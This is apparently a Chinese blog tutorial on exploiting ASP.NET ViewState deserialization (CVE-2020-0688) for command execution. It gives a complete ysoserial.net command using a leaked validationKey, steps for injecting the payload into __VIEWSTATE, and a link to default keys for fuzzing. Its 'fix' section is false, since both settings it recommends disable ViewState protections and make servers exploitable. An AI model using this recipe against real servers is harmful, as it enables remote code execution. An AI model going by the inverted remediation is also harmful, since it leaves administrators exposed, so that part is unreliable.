_ViewState反序列化实现命令执行

参考资料:

嘶吼: https://www.4hou.com/posts/GYq7

开源中国:https://my.oschina.net/u/3076320/blog/4539467/print

CVE-2020-0688

ViewState简介:

ASP.NET Web应用程序使用ViewState来维护页面状态,并在Web表单中保留数据。ViewState参数是Base64序列化后的餐胡,通常会在POST请求中通过名为“__VIEWSTATE”的隐藏参数发送。在服务器端,将对这个参数进行反序列化,并检索数据。

也就是说,他只能用于web forms ,在MVC模式下,是不存在的。

复现条件:

需要得到 validationKey 验证密钥 以及 validation 验证方法

常见格式如下:

<machineKey validationKey="3FF1E929BC0534950B0920A7B59FA698BD02DFE8" decryptionKey="280450BB36319B474C996B506A95AEDF9B51211B1D2B7A77" decryption="3DES" validation="SHA1" />

一般存放于web.config 或者 machine.config

该漏洞可以搭配文件包含或者敏感文件泄露(web.config)

复现过程:

需要使用ysoserial.net 帮助生成Payload

命令如下:

.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping dnslog.cn" --generator=1DED13B6 --validationalg="SHA1" --validationkey="3FF1E929BC0534950B0920A7B59FA698BD02DFE8" –isdebug

ysoserial.net 各参数说明:

-p  : 要使用的插件 -g 攻击向量 -c 命令

其中

--generator

所对应的值为,提交_ViewState请求包中的__VIEWSTATEGENERATOR参数

image.png

validationalg 为machineKey配置中的 validation 验证方法

validationkey为machineKey配置中的 validationkey验证密匙

–isdebug开启调试

各个参数填充好后,会得到一串Base64编码的Payload

image.png

将其复制下来,替换请求包体中的__VIEWSTATE参数的值

image.png

发送带有此Payload的数据包。
image.png

会返回500错误。在Ceye上也收到了对应的记录

image.png

说明命令执行成功。

修复方案:

1. 将AspNetEnforceViewStateMac注册表项设置为0来禁用MAC验证功能:

注册表路径:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.NETFramework\v{VersionHere}

2. 在Web.config中,添加以下内容,

<configuration>
…
    <appSettings>
      <add key="aspnet:AllowInsecureDeserialization" value="true" />
    </appSettings>
</configuration>
实用技巧:

可以采用Fuzz的方式探测默认Key值:

常见默认Key合集:

https://github.com/yuanhaiGreg/Fuzz-Dict/blob/master/ViewState_Key.txt

本文链接:

https://websecuritys.cn/index.php/archives/94/
1 + 7 =
快来做第一个评论的人吧~